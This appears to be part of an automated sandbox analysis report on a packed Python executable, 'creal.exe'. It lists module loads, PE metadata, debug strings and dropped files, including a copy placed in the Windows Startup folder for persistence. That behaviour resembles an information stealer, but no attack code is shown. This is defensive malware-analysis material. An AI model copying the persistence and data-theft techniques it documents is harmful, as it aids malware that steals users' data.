Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\creal.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: creal.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: creal.exe

Static file information: File size 17171619 > 1048576

Source: creal.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: creal.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: creal.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: creal.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: creal.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: creal.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: creal.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: creal.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: creal.exe, 00000002.00000002.1584456751.00007FF8E7BD3000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: creal.exe, 00000002.00000002.1579097857.00007FF8E712F000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 3.0.11 19 Sep 20233.0.11built on: Wed Sep 27 22:33:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC;CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_push_octet_ptrOSSL_PARAM_BLD_to_param..\s\crypto\params.c source: creal.exe, 00000002.00000002.1582537332.00007FF8E7642000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: creal.exe, 00000002.00000002.1582537332.00007FF8E7642000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: creal.exe, 00000002.00000002.1588731612.00007FF8F7A06000.00000002.00000001.01000000.00000014.sdmp, creal.exe, 0000001A.00000003.1544118293.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: creal.exe, 00000000.00000003.1371953608.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1590369480.00007FF8F8BC3000.00000002.00000001.01000000.00000005.sdmp, creal.exe, 0000001A.00000003.1541448676.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: creal.exe, 00000000.00000003.1371953608.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1590369480.00007FF8F8BC3000.00000002.00000001.01000000.00000005.sdmp, creal.exe, 0000001A.00000003.1541448676.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: creal.exe, 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: creal.exe, 0000001A.00000003.1543955907.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: creal.exe, 00000000.00000003.1372232763.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 0000001A.00000003.1541833635.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: creal.exe, 00000002.00000002.1589596642.00007FF8F8303000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: creal.exe, 00000002.00000002.1589772887.00007FF8F8751000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: creal.exe, 00000002.00000002.1580095250.00007FF8E7177000.00000002.00000001.01000000.00000016.sdmp, creal.exe, 0000001A.00000003.1543399953.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbEE source: creal.exe, 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: creal.exe, 00000002.00000002.1587898705.00007FF8E802C000.00000002.00000001.01000000.0000000A.sdmp, creal.exe, 0000001A.00000003.1543628592.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: creal.exe, 00000000.00000003.1372380110.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1587254717.00007FF8E7FA8000.00000002.00000001.01000000.00000013.sdmp, creal.exe, 0000001A.00000003.1542028020.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: creal.exe, 00000002.00000002.1574615880.00007FF8E6EF2000.00000002.00000001.01000000.0000002D.sdmp, creal.exe, 0000001A.00000003.1545277030.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: creal.exe, 00000002.00000002.1580428919.00007FF8E71B2000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: creal.exe, 00000002.00000002.1589350978.00007FF8F7EC3000.00000002.00000001.01000000.0000000E.sdmp, creal.exe, 0000001A.00000003.1544286288.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: creal.exe, 00000002.00000002.1587898705.00007FF8E802C000.00000002.00000001.01000000.0000000A.sdmp, creal.exe, 0000001A.00000003.1543628592.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: creal.exe, 00000000.00000003.1372510190.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000002.1589012234.00007FF8F7A9D000.00000002.00000001.01000000.00000009.sdmp, creal.exe, 0000001A.00000003.1542237696.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: creal.exe, 00000002.00000002.1590664825.00007FF8F8D84000.00000002.00000001.01000000.0000000B.sdmp, creal.exe, 0000001A.00000003.1545461593.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: creal.exe, 00000002.00000002.1587570318.00007FF8E7FF9000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: creal.exe, 00000002.00000002.1578860238.00007FF8E700F000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb''&GCTL source: creal.exe, 00000002.00000002.1590664825.00007FF8F8D84000.00000002.00000001.01000000.0000000B.sdmp, creal.exe, 0000001A.00000003.1545461593.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: creal.exe, 00000002.00000002.1555010440.00000185BB290000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: creal.exe, 00000000.00000003.1372232763.0000018FDF26A000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 0000001A.00000003.1541833635.0000025EFD905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: creal.exe, 00000002.00000002.1580838537.00007FF8E7255000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: creal.exe, 00000002.00000002.1583452111.00007FF8E77AD000.00000002.00000001.01000000.00000010.sdmp

Source: creal.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: creal.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: creal.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: creal.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: creal.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: VCRUNTIME140_1.dll.0.dr

Static PE information: 0xFB76EAA0 [Mon Sep 10 13:35:28 2103 UTC]

Source: creal.exe	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr	Static PE information: section name: .00cfg
Source: python312.dll.0.dr	Static PE information: section name: PyRuntim
Source: creal.exe.2.dr	Static PE information: section name: _RDATA
Source: VCRUNTIME140.dll.26.dr	Static PE information: section name: fothk
Source: VCRUNTIME140.dll.26.dr	Static PE information: section name: _RDATA
Source: libcrypto-3.dll.26.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.26.dr	Static PE information: section name: .00cfg
Source: python312.dll.26.dr	Static PE information: section name: PyRuntim

Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A64506C push rcx; iretd	0_2_00007FF67A64506D
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E68F161E push rdx; iretd	2_2_00007FF8E68F1621
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71F4541 push rcx; ret	2_2_00007FF8E71F4542
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3D2506C push rcx; iretd	26_2_00007FF7C3D2506D
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E59B161E push rdx; iretd	28_2_00007FF8E59B1621
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8491D7B push rcx; retf	28_2_00007FF8F8491D7C

Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42922\charset_normalizer\md.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI75242\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
